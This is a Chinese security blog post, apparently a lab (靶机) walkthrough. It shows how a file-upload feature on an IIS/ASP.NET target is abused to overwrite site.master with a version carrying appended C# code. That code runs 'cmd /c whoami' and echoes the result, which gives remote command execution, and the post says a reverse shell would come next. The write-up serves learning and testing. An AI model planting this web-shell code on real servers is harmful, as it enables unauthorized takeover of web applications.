site.master文件上传突破边界

admin 2024年9月13日21:40:46评论15 views字数 2257阅读7分31秒阅读模式

 文件上传

site.master文件上传突破边界

看到了,关注一下不吃亏啊,点个赞转发一下啦,WP看不下去的,可以B站搜:标松君,UP主录的打靶视频,欢迎关注。顺便宣传一下星球:重生者安全, 里面每天会不定期更新OSCP知识点,车联网渗透红队以及漏洞挖掘工具等信息分享,欢迎加入;以及想挖SRC逻辑漏洞的朋友,可以私聊。

01

site.master文件上传

最近打靶机学习到了一个新的知识点:site.master

靶机环境:windows+IIS/10.0

在进入靶机的web后台之后,发现有一个文件上传的功能,尝试上传asp,aspx后缀文件没有成功,尝试上传txt的时候成功了

site.master文件上传突破边界

访问网站根目录就可以查看我们上传的文件:

http://192.168.x.63:450/test.txt

在前面的枚举中,我们发现了一个 /dev 目录。到此目录会显示两个文件:style.csssite.master.txt。CSS 文件对我来说不感兴趣,但 TXT 文件包含非常有用的信息:

site.master文件上传突破边界

site.master的官方 Microsoft 文档 (https://docs.microsoft.com/en-us/previous-versions/wtxbf3hh(v=vs.140)?redirectedfrom=MSDN) 指出,此文件为 ASP.NET MVC 样式应用程序上的每个页面提供了一个模板,该文件指示此网页使用 C# 作为后端语言,使用 **site.master** 文件作为模板,并且通常驻留在 Web 根目录中。此文件还可以包含任意代码,Microsoft 文档中未提及这些代码

让我们回顾一下已知信息。首先,site.master文件位于web根目录中,我们也知道我们可以将文件上传到网络根目录。通过扩展,我们可以用我们自己的版本的site.master去覆盖掉原先的site.master文件,该版本包含命令执行代码。如果覆盖成功,我们可以重新加载网页,我们的代码可以执行,从而实现远程代码执行。我们将包含原始文件中的现有内容,并附加任意C#代码,该代码输出运行web应用程序的用户的名称:

<%@ Language="C#" src="site.master.cs" Inherits="MyNamespaceMaster.MyClassMaster" %><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">  <head runat="server">    <title>Butch</title>    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />    <meta name="application-name" content="Butch">    <meta name="author" content="Butch">    <meta name="description" content="Butch">    <meta name="keywords" content="Butch">    <link media="all" href="style.css" rel="stylesheet" type="text/css" />    <link id="favicon" rel="shortcut icon" type="image/png" href="favicon.png" />  </head>  <body>    <div id="wrap">      <div id="header">Welcome to Butch Repository</div>      <div id="main">        <div id="content">          <br />          <asp:contentplaceholder id="ContentPlaceHolder1" runat="server"></asp:contentplaceholder>          <br />        </div>      </div>    </div>  </body></html><%string stdout = "";string cmd = "whoami";System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);procStartInfo.RedirectStandardOutput = true;procStartInfo.UseShellExecute = false;procStartInfo.CreateNoWindow = true;System.Diagnostics.Process p = new System.Diagnostics.Process();p.StartInfo = procStartInfo;p.Start();stdout = p.StandardOutput.ReadToEnd();Response.Write(stdout);%>

保存成site.master,上传上去

site.master文件上传突破边界

刷新一下网页,发现回显了当前用户权限是管理员权限:

site.master文件上传突破边界

成功命令执行,接下来就可以写入反弹shell的代码去拿到权限了。

原文始发于微信公众号(道玄网安驿站):site.master文件上传突破边界

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月13日21:40:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   site.master文件上传突破边界https://cn-sec.com/archives/3164986.html

发表评论

匿名网友 填写信息